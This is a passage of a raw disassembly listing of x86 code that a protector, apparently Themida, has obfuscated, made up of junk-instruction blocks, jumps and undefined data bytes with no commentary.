loc_548C15:				; CODE XREF: Themida_:0054DC94j
		pop	esp
		mov	[esp], ecx
		mov	ecx, 24h
		jmp	loc_54721B
; ---------------------------------------------------------------------------
		db 0F6h
		dd 5EAC0D2h, 51DDE9h, 0CC684D00h, 89000009h, 0D0BF243Ch
		dd 311B2813h, 80055FFDh, 0E94EA14Ah, 6886h
dword_548C48	dd 58E9028Fh, 81FFFFBAh, 4C7h, 1C55E900h ; DATA	XREF: Themida_:00544544o
		db 2 dup(0)
word_548C5A	dw 0C8Bh		; DATA XREF: Themida_:00544648o
aSr		db '$ér{',0
		align 2
		dw 4604h
		dd 0FFC5B6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_548C69:				; CODE XREF: Themida_:00549342j
		pop	ebp
		add	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_54EBDE
; ---------------------------------------------------------------------------
		dd 15FFA89h, 4875AD0h, 24E95C24h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548C83:				; CODE XREF: Themida_:00548BA5j
		and	eax, edi
		pop	edi
		jmp	loc_54FF89
; ---------------------------------------------------------------------------


loc_548C8B:				; CODE XREF: Themida_:0054B40Dj
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		mov	esp, [esp]
		xor	[esp], eax
		pushf
		jmp	loc_5446A7
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 48B6624h,	4B616824h, 4890000h, 0C062E924h
		dd 0EC81FFFFh, 4, 0BF243C89h, 39C0231Ch, 8904EC83h, 71E9243Ch
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548CD3:				; CODE XREF: Themida_:0054D309j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	1224h
		mov	[esp], ebx
		push	24h
		pop	ebx
		push	edi
		push	2565h
		mov	[esp], edx
		push	esi
		push	57C83F12h
		pop	esi
		add	esi, 7CE31A5Dh
		sub	esi, 615625Fh
		add	esi, 0A6942A9Bh
		mov	edx, esi
		mov	esi, [esp]
		jmp	loc_54D1BE
; ---------------------------------------------------------------------------
		dw 2BDh
		dd 1000000h, 4335DE8h, 24043124h, 5C240433h, 240CFF66h
		dd 0B971E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548D36:				; CODE XREF: Themida_:0054C405j
		shr	eax, 12h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		pop	eax
		mov	ebp, [esp]
		sub	esp, 4
		jmp	loc_54ED7F
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 1Fh
		dd 1DB432Bh, 0FB295AD7h, 0A5EB815Fh, 1183B12h, 685751C3h
		dd 415D513Bh, 19A0E9h, 42ED8100h, 5B6AC12Ah, 5762B850h
		dd 0BF575BECh, 45B709C1h, 6EBDCF81h, 0F7817067h, 1E3B1F03h
		dd 8BE9F831h, 3300004Ch, 895C241Ch, 6855240Ch, 3CD81C7Ch
		dd 6ED815Dh, 814F7F59h,	28A6CAF5h, 388EE9FBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548DB6:				; CODE XREF: Themida_:0054E1D7j
		inc	dl
		sub	dl, 0D1h
		sub	ch, 7Bh
		add	ch, dl
		add	ch, 7Bh
		jmp	loc_54CD08
; ---------------------------------------------------------------------------
		dd 66C0B60Fh, 5224148Bh, 8953E289h, 4C381E3h, 81000000h
		dd 4EBh, 241C8700h, 2434895Ch, 6CBCBD55h, 55527C4Eh, 13243481h
		dd 5A764278h, 7813F281h, 0D6897642h, 3F39E9h, 0BEE95B00h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548E0B:				; CODE XREF: Themida_:0054D2FDj
		pop	ebx
		jmp	loc_548816
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 201F6850h, 24890000h, 68E8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548E22:				; CODE XREF: Themida_:00550855j
		and	esi, 12480A2Ah
		xor	esi, 6E15219Ah
		jmp	loc_5446E1
; ---------------------------------------------------------------------------
		db 81h
		dd 3F1413F5h, 8BEF0148h, 0C483242Ch, 2C78304h, 0FFEF2AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_548E49:				; CODE XREF: Themida_:0054FCC8j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_547E88
; ---------------------------------------------------------------------------
		db 81h
		dd 4694ECEBh, 8BD9016Eh, 0C481241Ch, 4,	5BAF68h, 240C8900h
		dd 42474FFh, 24048F59h,	288645Ch, 0FFB822E9h, 0B81DE9FFh
		dd 0E9C1FFFFh, 4C18107h, 89FE456Ah, 0C30159CBh,	0B850h
		dd 0D8010000h, 0FF580889h, 34FF2434h, 0A1E95B24h, 81000019h
		dd 4C6h, 792DE900h, 0D2F70000h,	4247CA81h, 0F2817327h
		dd 2FB4C19h, 6AA9E9h
		db 0
; ---------------------------------------------------------------------------


loc_548ECD:				; CODE XREF: Themida_:0054D4D0j
		mov	esi, 4E213DA3h
		jmp	loc_546BAB
; ---------------------------------------------------------------------------


loc_548ED7:				; CODE XREF: Themida_:00549924j
		mov	ebp, 44882327h
		jmp	loc_54F823
; ---------------------------------------------------------------------------


loc_548EE1:				; CODE XREF: Themida_:00545BA6j
		push	1F6Dh
		mov	[esp], ebx
		mov	ebx, 1Ch
		push	4CE8h
		mov	[esp], ebp
		mov	ebp, 7CD66D13h
		jmp	loc_550862
; ---------------------------------------------------------------------------
aWMj?gsW	db 'W¿^m¦?GéÇW',0
		align 4


loc_548F0C:				; CODE XREF: Themida_:0054A35Ej
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_550FD0
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 895104C4h, 4C181E1h, 81000000h, 4C1h, 49516800h
		dd 0C890000h, 2474FF24h, 2434FF04h, 44E95259h, 0E9000051h
		dd 0FFFFB75Fh
; ---------------------------------------------------------------------------


loc_548F48:				; CODE XREF: Themida_:00549C77j
		add	eax, 4
		jmp	loc_5457A0
; ---------------------------------------------------------------------------


loc_548F52:				; CODE XREF: Themida_:005468B9j
		mov	eax, [esp]
		jmp	loc_548802
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 60BF5753h, 0E9676470h, 0FFFFD7EAh, 48BB5345h, 0E97DF035h
		dd 0FFFFE0DCh
; ---------------------------------------------------------------------------


loc_548F78:				; CODE XREF: Themida_:00547ADBj
		push	esi
		mov	esi, 436101F6h
		or	esi, 35DE6B8Ah
		xor	esi, 195F1573h
		inc	esi
		jmp	loc_549CC9
; ---------------------------------------------------------------------------
		dd 0E9240C89h, 0FFFFB70Fh
; ---------------------------------------------------------------------------


loc_548F98:				; CODE XREF: Themida_:0054D8FAj
		pop	eax
		pop	edi
		jmp	loc_54697F
; ---------------------------------------------------------------------------
		db 89h
		dd 0D96DE9E2h, 1C87FFFFh, 0D88E924h, 8F590000h,	248B2404h
		dd 19732D24h, 0EA811728h, 51C00951h, 558FEA81h,	7BE9050Fh
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548FCB:				; CODE XREF: Themida_:0054D18Fj
		xchg	ebx, ecx
		xor	ebx, eax
		xor	eax, ebx
		xor	ebx, eax
		not	eax
		xchg	eax, ebx
		xchg	ebx, ecx
		shr	ecx, 2
		add	ecx, 0E110DE32h
		and	eax, ecx
		jmp	loc_54C96C
; ---------------------------------------------------------------------------
		dd 4BBh, 56F52D00h, 0D801292Dh,	2D56F505h, 0E8685B29h
		dd 0E900001Dh, 6B29h, 0FFB69EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549009:				; CODE XREF: Themida_:0054CE65j
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	edi, esi
		jmp	loc_54C1A9
; ---------------------------------------------------------------------------
		db 5Ah
		dd 1E0EE953h, 0EE310000h, 4B2FE9h, 81D1F700h, 4ECh, 0B7BCE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54903A:				; CODE XREF: Themida_:0054EDB5j
		mov	edi, 2E7054C5h
		xor	edi, 4E6F15B9h
		jmp	loc_54F72C
; ---------------------------------------------------------------------------
		dw 0FD28h
		dd 5B2434FFh, 0B704C483h, 8BEF28F5h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 628048BFh
		jmp	loc_54E472
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0C8856624h, 0B62DE99Ch, 4BEFFFFh, 0E9000000h, 0FFFFD668h
; ---------------------------------------------------------------------------


loc_549084:				; CODE XREF: Themida_:0054A285j
		mov	ebx, 5E2D0360h
		mov	esi, 69F27E43h
		jmp	loc_548980
; ---------------------------------------------------------------------------


loc_549093:				; CODE XREF: Themida_:00550134j
		add	esp, 4
		push	ebx
		jmp	loc_54F05D
; ---------------------------------------------------------------------------
		db 68h
		dd 3AEB34A5h, 6851525Fh, 6E393CD7h, 0E9814959h,	1C0E18B8h
		dd 0E959CA89h, 4F81h, 7260566h,	66D80166h, 0E907262Dh
		dd 1A0Dh, 42474FFh, 24048F5Dh, 0FFEE62E9h, 148B66FFh, 2C48324h
		dd 0FFDDCBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5490E5:				; CODE XREF: Themida_:0054F16Aj
		push	ebp
		push	4
		jmp	loc_54C223
; ---------------------------------------------------------------------------
		dd 1C8BDE29h, 4C48124h,	0C1000000h, 47E906EEh, 81000070h
		dd 4C4h, 2BA5200h, 1000000h, 39E95AD0h,	5DFFFFBDh, 8324348Bh
		dd 0E80104C4h, 0FFE37BE9h, 24048FFFh, 4BB53h, 5C010000h
		dd 34FF0424h, 5FE95B24h, 59FFFFBDh, 0FFBB44E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549141:				; CODE XREF: Themida_:0054EF96j
		push	edi
		mov	edi, 28872B25h
		shl	edi, 3
		or	edi, 5424712Eh
		and	edi, 19825945h
		jmp	loc_54C25B
; ---------------------------------------------------------------------------


loc_54915B:				; CODE XREF: Themida_:00548318j
		push	dword ptr [esp]
		jmp	loc_54A110
; ---------------------------------------------------------------------------
		db 1
		dd 7EBE56F2h, 29761F06h, 0E95E5EF2h, 4297h, 4EC81h, 1C890000h
		dd 81E38924h, 4C3h, 4C38300h, 2474FF53h, 48F5B04h, 0EB815C24h
		dd 5C10159Ah, 4EDFE9h, 0EF814F00h, 55325B28h, 3788CF81h
		dd 0F1E97C82h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5491AF:				; CODE XREF: Themida_:00549889j
		push	esi
		mov	esi, 348320Ch
		push	ecx
		mov	ecx, 3C15524Dh
		xor	ecx, 4F7B75A0h
		jmp	loc_544B56
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 240C8904h, 7A016853h, 0E95B35C2h, 0D32h, 0E9C6015Dh
		dd 33AEh, 0B753D6F6h, 0E0CF8061h, 19D2E9h, 24048B00h, 4C481h
		dd 0EA810000h, 63A67331h, 0BD55C201h, 7B0453CAh, 1CF3E9h
		db 0
byte_549209	db 56h,	0BEh, 93h	; DATA XREF: Themida_:00544658o
		dd 0F723C217h, 7CCE81D6h, 811B377Eh, 0BF579AF6h, 4D12687Bh
		dd 3C890000h, 4DFAE924h, 895C0000h, 74FF2434h, 348B0424h
		dd 4C48124h, 8F000000h,	248B2404h, 66F1F624h, 68CCB60Fh
		dd 0C2Bh, 0E9242C89h, 19B9h
; ---------------------------------------------------------------------------


loc_549254:				; CODE XREF: Themida_:0054D1F8j
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	4101h
		mov	[esp], edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		push	ebp
		push	ebx
		mov	ebx, 74510F8Ah
		mov	ebp, ebx
		pop	ebx
		and	ebp, 5A4E6A52h
		sub	ebp, 757032B9h
		sub	ebp, 12D85DA3h
		add	ebp, 26DF411Dh
		shr	ebp, 6
		push	esi
		mov	esi, 2952331Fh
		not	esi
		jmp	loc_546997
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8B24048Fh, 0DFE92424h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5492B3:				; CODE XREF: Themida_:0054C4E8j
		mov	ecx, 2E795427h
		jmp	loc_54EB2D
; ---------------------------------------------------------------------------
byte_5492BD	db 0FFh, 77h, 40h	; DATA XREF: Themida_:005443D0o
		dd 0FFE902E9h, 0DCE9C3FFh, 0B8FFFFB3h, 1, 0FF1C4709h, 53582434h
		dd 0BA52E389h, 4, 34FFD301h, 268CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5492EA:				; CODE XREF: Themida_:005466CFj
		mov	[esp], ebp
		mov	ebp, 200000h
		mov	edx, ebp
		pop	ebp
		and	eax, edx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		push	ebp
		jmp	loc_546839
; ---------------------------------------------------------------------------


loc_549303:				; CODE XREF: Themida_:0054E5EDj
		shl	edx, 7
		push	ebx
		mov	ebx, 31623D20h
		xor	edx, ebx
		pop	ebx
		mov	eax, edx
		mov	edx, [esp]
		jmp	loc_54A355
; ---------------------------------------------------------------------------
		db 29h,	0C1h, 58h
		dd 0C8BCA01h, 4C48324h,	5C241487h, 0E9E78957h, 3FFDh, 4C781h
		dd 3C870000h, 0E95D5C24h, 56C4h
; ---------------------------------------------------------------------------


loc_549340:				; CODE XREF: Themida_:0054BD61j
		mov	ecx, ebp
		jmp	loc_548C69
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FD45302Dh, 4D8F2D31h, 0F0016B19h, 194D8F05h, 23BA526Bh
		dd 0E951E016h, 0FFFFFB56h, 982F85BFh, 6D00E926h, 52660000h
		dd 0BDE969B6h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549377:				; CODE XREF: Themida_:00544B51j
		add	esp, 4
		shr	eax, 8
		xor	eax, ecx
		jmp	loc_5474FE
; ---------------------------------------------------------------------------
		dd 8324148Bh, 976804C4h, 8900001Ah, 0E951241Ch,	0FFFFC089h
; ---------------------------------------------------------------------------


loc_549398:				; CODE XREF: Themida_:0054DA00j
		push	5562h
		mov	[esp], edi
		mov	edi, 462C4624h
		sub	eax, 79141E25h
		add	eax, 3DEF6317h
		jmp	loc_545737
; ---------------------------------------------------------------------------
		dd 0EF06E942h, 0F581FFFFh, 24224193h, 5205EDC1h, 5D268EBAh
		dd 0F7D2F732h, 0CBE957D2h, 21FFFFDBh, 0E1C15AD1h, 0F2F18104h
		dd 8900DD56h, 542959CAh, 0E95A0424h, 0F2Ch, 0DC707DBFh
		dd 0E9F82924h, 4EC0h, 4BB5359h,	0E9000000h, 2743h, 0C0FCE580h
		dd 0ED8004E5h, 59EB2837h, 7FEB80h, 33B268C3h, 14890000h
		dd 80C1B624h, 536601EEh, 0FE00FFB7h, 241C8B66h,	8002C483h
		dd 0E9502ECEh, 6D0Ch, 5050E381h, 0F381255Bh, 7D9E445Dh
		dd 3FD5B850h, 85053E56h, 0E945AF5Bh, 5FEAh, 58C5015Dh
		dd 4EC8357h, 0B9240C89h, 2, 0FFEEFCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549469:				; CODE XREF: Themida_:0054A5CAj
		xor	bh, 9Ch
		push	eax
		mov	ah, bh
		mov	cl, ah
		jmp	loc_5465FF
; ---------------------------------------------------------------------------
		dw 0C15Fh
		dd 54E903E3h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54947F:				; CODE XREF: Themida_:0054E400j
		xchg	edi, [esp]
		push	edi
		push	7BE4h
		mov	[esp], ecx
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54499D
; ---------------------------------------------------------------------------


loc_54949A:				; CODE XREF: Themida_:00550C62j
		pop	esp
		push	621Dh
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_54C862
; ---------------------------------------------------------------------------


loc_5494AE:				; CODE XREF: Themida_:005508B8j
		push	edi
		push	868h
		mov	[esp], ecx
		jmp	loc_54D13D
; ---------------------------------------------------------------------------


loc_5494BC:				; CODE XREF: Themida_:0054D101j
		xor	edi, edx
		xchg	edi, edx
		not	edi
		jmp	loc_54E3C9
; ---------------------------------------------------------------------------


loc_5494C7:				; CODE XREF: Themida_:0054862Dj
		pop	ebx
		mov	ecx, eax
		pop	eax
		jmp	loc_5498A7
; ---------------------------------------------------------------------------
		dd 0ED81C501h, 1F12502Eh, 6D9C581h, 48B7F02h, 4C48324h
		dd 4B850h, 0C5810000h, 382A2031h, 0ED81C501h, 382A2031h
		dd 74FF5558h, 8F5D0424h, 815C2404h, 4ECh, 243C8900h, 81E78957h
		dd 4C7h, 4EF8100h, 87000000h, 895C243Ch, 4832424h, 815F0424h
		dd 4C7h, 4BB5300h, 81000000h, 0C13D80EFh, 7549E979h, 0F4680000h
		dd 89000060h, 0F8882404h, 385CE9h
		db 0
byte_54954D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00544600o
		dd 14556824h, 3C890000h, 0CAE95424h, 88000063h,	3700E9EFh
		dd 0CFF0000h, 38E99C24h, 57FFFFB1h, 7D8BE952h
		db 2 dup(0)
word_549576	dw 8B66h		; DATA XREF: Themida_:005445D8o
		dd 0EC83240Ch, 24348904h, 8904EC83h, 0EC812424h, 4, 0FFC1C1E9h
		dd 4EC81FFh, 89000000h,	0E6892434h, 0FFF0EEE9h,	685652FFh
		dd 31FA4147h, 8324348Bh, 0CE8104C4h, 51771FC9h,	559CE81h
		dd 0B6E97C30h, 0B800005Ch, 75CE7E9Ah, 29CF1DBDh, 58C529EDh
		dd 0FFEA93E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5495D1:				; CODE XREF: Themida_:0054A3F4j
		xor	ebp, 16B9715Bh
		shl	ebp, 7
		push	edi
		mov	edi, 0E0C1297Ch
		sub	ebp, edi
		pop	edi
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_5455E4
		push	dword ptr [edi+1Ch]
		jmp	loc_55048A
; ---------------------------------------------------------------------------
word_5495FA	dw 83ADh		; DATA XREF: Themida_:005443E0o
		dd 3C8904ECh, 412EBF24h, 0D7F739E0h, 1C781h, 89510000h
		dd 4C181E1h, 83000000h,	0C8704E9h, 34895C24h, 7A5ABE24h
		dd 0EF814504h, 46F14410h, 91E9F729h, 50000005h,	4055854h
		dd 83000000h, 0EC8304C0h, 24048904h, 0FFC7CFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549649:				; CODE XREF: Themida_:00547003j
		xchg	ebx, [esp]
		pop	esp
		sub	edi, edx
		pop	edx
		mov	esi, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		and	eax, esi
		jmp	loc_54D314
; ---------------------------------------------------------------------------
		dd 8158C201h, 6C724EC2h, 0E9DA014Ah, 65FFh, 4C181h, 0FF510000h
		dd 59042474h, 8B24048Fh, 3E92424h, 87000042h, 248B242Ch
		dd 48B6624h, 0E3895324h, 56EBE56h, 0EE813101h, 37E94A6Ch
		dd 5AA4E9h, 1AFBE00h, 0E68130F2h, 39CA700Ah, 0B4BE681h
		dd 0F681388Bh, 5A271C34h, 1FB7F681h, 0B4E93B10h, 83FFFFC2h
		dd 0C8704E9h, 24248B24h, 81243489h, 4ECh, 3744E900h, 0C6880000h
		dd 8124048Bh, 4C4h, 88CEFE00h, 0F3805AF3h, 5BD98850h, 0ADC380h
		dd 0ADEB80CBh, 5AF4E959h, 0C7B90000h, 8704C46Dh, 87DDF7E9h
		dd 3E1C1E9h, 614FF181h,	0BB537AABh, 9499DB02h, 0E95BD929h
		dd 10F7h, 6BD4EB81h, 0CB0174F9h, 6BD4C381h, 8B5974F9h
		dd 0C483240Ch, 2C38304h, 8B241C87h, 8B662424h, 0EC81240Ch
		dd 4, 0E9242C89h, 6D9Ch
; ---------------------------------------------------------------------------


loc_549754:				; CODE XREF: Themida_:00550222j
		add	eax, edi
		pop	edi
		push	ebx
		sub	esp, 4
		mov	[esp], edx
		push	esi
		jmp	loc_55004F
; ---------------------------------------------------------------------------


loc_549767:				; CODE XREF: Themida_:0054A64Bj
		or	edx, esi
		pop	esi
		inc	edx
		add	edx, 0FB82CF1Bh
		add	ebx, edx
		pop	edx
		push	esi
		mov	esi, 795F3CA6h
		jmp	loc_549C45
; ---------------------------------------------------------------------------


loc_54977F:				; CODE XREF: Themida_:0054E841j
		mov	edx, 0DDF4CC0h
		sub	edx, 0A094B3Fh
		add	edx, 514C17E0h
		xor	edx, 8A55E162h
		add	ebp, edx
		pop	edx
		add	edx, ebp
		pop	ebp
		add	edx, 4
		jmp	loc_547E25
; ---------------------------------------------------------------------------


loc_5497A7:				; CODE XREF: Themida_:0054E4A1j
		push	7504h
		mov	[esp], edx
		push	edi
		jmp	loc_54A526
; ---------------------------------------------------------------------------
		db 30h,	4, 24h
		dd 0AEE9E99Ch, 0E951FFFFh, 5AC6h, 0DAF7814Fh, 894A9E91h
		dd 0BB535FFAh, 51EF7D10h, 44C3814Bh, 1C507B6h, 0EC815BDAh
		dd 4, 0BF243C89h, 61B33B1Fh, 15FFA31h, 0D9BFE9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5497F6:				; CODE XREF: Themida_:005458CEj
		add	bl, 90h
		sub	bl, dh
		sub	bl, 90h
		add	bl, 0C3h
		pop	dx
		jmp	loc_549EF6
; ---------------------------------------------------------------------------
		dd 0C681EE01h, 332E4676h, 7CEB2D5Dh, 24051203h,	290C5462h
		dd 62242DF0h, 0EB050C54h, 8B12037Ch, 0C4832434h, 88D6804h
		dd 14890000h, 2317BA24h, 0D2F703B8h, 0FFFFC281h, 0EAC1FFFFh
		dd 4EC8104h, 89000000h,	2C832414h, 0E95A0124h, 0FFFFF382h
; ---------------------------------------------------------------------------


loc_549858:				; CODE XREF: Themida_:0054E2A8j
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edx, edi
		sub	edx, 295E561Bh
		mov	ecx, [edx]
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	ebp
		jmp	loc_5491AF
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0C8BCB01h, 4C48324h, 4222C381h, 0E6E948E5h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5498A7:				; CODE XREF: Themida_:005494CBj
		neg	ecx
		add	ecx, 7F03490Ah
		jmp	loc_54E269
; ---------------------------------------------------------------------------
		dd 0E9C8B252h, 0FFFFC1F8h
aNsL		db '­éÉL',0             ; DATA XREF: Themida_:0054455Co
		align 2
		dw 0C329h
		dd 4EC81h, 34890000h, 45F9BE24h, 0F301292Eh, 126FE9h, 83BA5200h
		dd 0E905BA75h, 0FFFFFAEFh
; ---------------------------------------------------------------------------


loc_5498E4:				; CODE XREF: Themida_:0054C84Aj
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	eax, 5AF51837h
		mov	edx, eax
		pop	eax
		xor	[esp+4], edx
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5504EA
; ---------------------------------------------------------------------------
		db 5, 82h, 4
		dd 0E95D0C00h, 3CE0h, 0C581E589h, 4, 2361E9h
		db 0
; ---------------------------------------------------------------------------


loc_549921:				; CODE XREF: Themida_:00545C8Dj
		mov	[esp], ebp
		jmp	loc_548ED7
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0FFB6D4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549931:				; CODE XREF: Themida_:0054712Bj
		add	ebp, 4A334A5Bh
		add	ebp, edx
		jmp	loc_54CAD3
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9242489h, 4F73h, 0E904EDC1h, 3030h, 0E95EF201h
		dd 0FFFFBCDEh, 89241489h, 7B568C2h, 14890000h, 2434FF24h
		dd 8324048Bh, 7AE904C4h, 80FFFFD8h, 0E70016F4h,	8BF98858h
		dd 0C483241Ch, 0FFD13004h, 4FE92434h, 100000Eh,	0EE295AD6h
		dd 6AF7E9h
		db 0
byte_549999	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005444C4o
		dd 4EC835Ah, 0E9243C89h, 5B9h, 2F4E95Ah, 0FE010000h, 8B2434FFh
		dd 0C481243Ch, 4, 4C481h, 86680000h, 89000017h,	0D2682414h
		dd 5A229C0Fh, 5198BD55h, 0D5F747B1h, 0E581D5F7h, 3961811h
		dd 0BF57D5F7h, 1E255F5Fh, 9091C781h, 0FD29DE4Ah, 60EA815Fh
		dd 8134C936h, 456DE6C2h, 81EA2968h, 456DE6EAh, 60C28168h
		dd 0FF34C936h, 685D2434h, 6A2Bh, 89243489h, 4C681E6h, 83000000h
		dd 348704C6h, 0D7E95C24h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549A2B:				; CODE XREF: Themida_:0054A6F5j
		mov	ebx, [esp]
		jmp	loc_54D186
; ---------------------------------------------------------------------------
byte_549A33	db 66h			; DATA XREF: Themida_:005444F4o
		dd 0E924048Bh, 0FFFFD8ACh, 55EF001h, 4,	5C240487h, 17C668h
		dd 24148900h, 67E76851h, 0C15945B9h, 7AE905E9h,	0BEFFFFFEh
		dd 8E72A76h, 0E95EF209h, 64F5h,	68242C89h, 1EF722D7h, 0F5ACE95Dh
		dd 28E9FFFFh
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549A7F:				; CODE XREF: Themida_:00549B68j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		push	0FFFFFFFFh
		mov	ebp, [esp]
		add	esp, 4
		sub	[edi+24h], ebp
		mov	ebp, [esp]
		push	edx
		jmp	loc_546A0D
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFABF7h
; ---------------------------------------------------------------------------


loc_549AB0:				; CODE XREF: Themida_:0054628Ej
		mov	edx, 24h
		add	edx, edi
		jmp	loc_54E0CD
; ---------------------------------------------------------------------------
		dd 4C48358h, 0FFBF36E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549AC5:				; CODE XREF: Themida_:0054E906j
		mov	edx, 66675765h
		mov	edi, edx
		pop	edx
		jmp	loc_54B343
; ---------------------------------------------------------------------------


loc_549AD2:				; CODE XREF: Themida_:0054EA6Aj
		pop	ebx
		jmp	loc_546491
; ---------------------------------------------------------------------------
		dd 88240489h, 58C388D0h, 1EE9DC88h, 81FFFFF3h, 4C7h, 4C78100h
		dd 87000000h, 8F5C243Ch, 0E95C2404h, 2325h, 0FE4FB252h
		dd 859E9CAh
		db 2 dup(0)
word_549B0A	dw 8B66h		; DATA XREF: Themida_:00544624o
		dd 8168240Ch, 8900000Ch, 0E2892414h, 5C58E955h,	0DD310000h
		dd 2414F753h, 31DD315Bh, 0E9DD31EBh, 1680h, 2434875Ah
		dd 0FF24248Bh, 34FF2434h, 2434FF24h, 73E95259h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549B47:				; CODE XREF: Themida_:00546C48j
		pop	eax
		add	bh, 0Bh
		jmp	loc_54CD7C
; ---------------------------------------------------------------------------
		dd 4EC81h, 14890000h, 1DE2BA24h, 9BE909BFh
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549B63:				; CODE XREF: Themida_:00547B4Bj
		or	edx, eax
		shl	edx, 1
		push	ecx
		jmp	loc_549A7F
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 0A4h
		dd 28FFFFF5h, 0F0E8E9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549B7A:				; CODE XREF: Themida_:00545B71j
		xchg	edx, [esp]
		pop	esp
		shr	ecx, 0Bh
		push	ebp
		push	2913h
		mov	[esp], eax
		mov	eax, ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_54E368
; ---------------------------------------------------------------------------


loc_549B9D:				; CODE XREF: Themida_:00548832j
		pop	esi
		add	esp, 4
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	0FA2h
		jmp	loc_551231
; ---------------------------------------------------------------------------
		dd 4410BD55h, 0EF0146F1h, 0C360E95Dh, 2C89FFFFh, 70BC6824h
		dd 34FF014Dh, 242C8B24h, 8304C483h, 0D5F704C4h,	0CDA7BB53h
		dd 0ED812220h, 7BEA641Eh, 0C581DD01h, 7BEA641Eh, 5DEB895Bh
		dd 9A7FEB81h, 0BAE9C541h, 8100006Ah, 0A33DBEF6h, 5EF28907h
		dd 29DDE955h, 0B1B90000h, 0C11FE90Bh, 27E906E9h, 59FFFFE2h
		dd 4C481h, 0EAD00000h, 43E68h, 24048900h, 0EC8011B4h, 0D6E4804Fh
		dd 4033E9h
		db 0
; ---------------------------------------------------------------------------


loc_549C45:				; CODE XREF: Themida_:0054977Aj
		shr	esi, 6
		jmp	loc_54C19E
; ---------------------------------------------------------------------------
		db 66h,	58h, 0D0h
		dd 6BB551EAh, 30BFB252h, 0EA305AD5h, 0B184E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549C62:				; CODE XREF: Themida_:00545739j
		sub	eax, 3DEF6317h
		add	eax, 79141E25h
		pop	edi
		push	25ADh
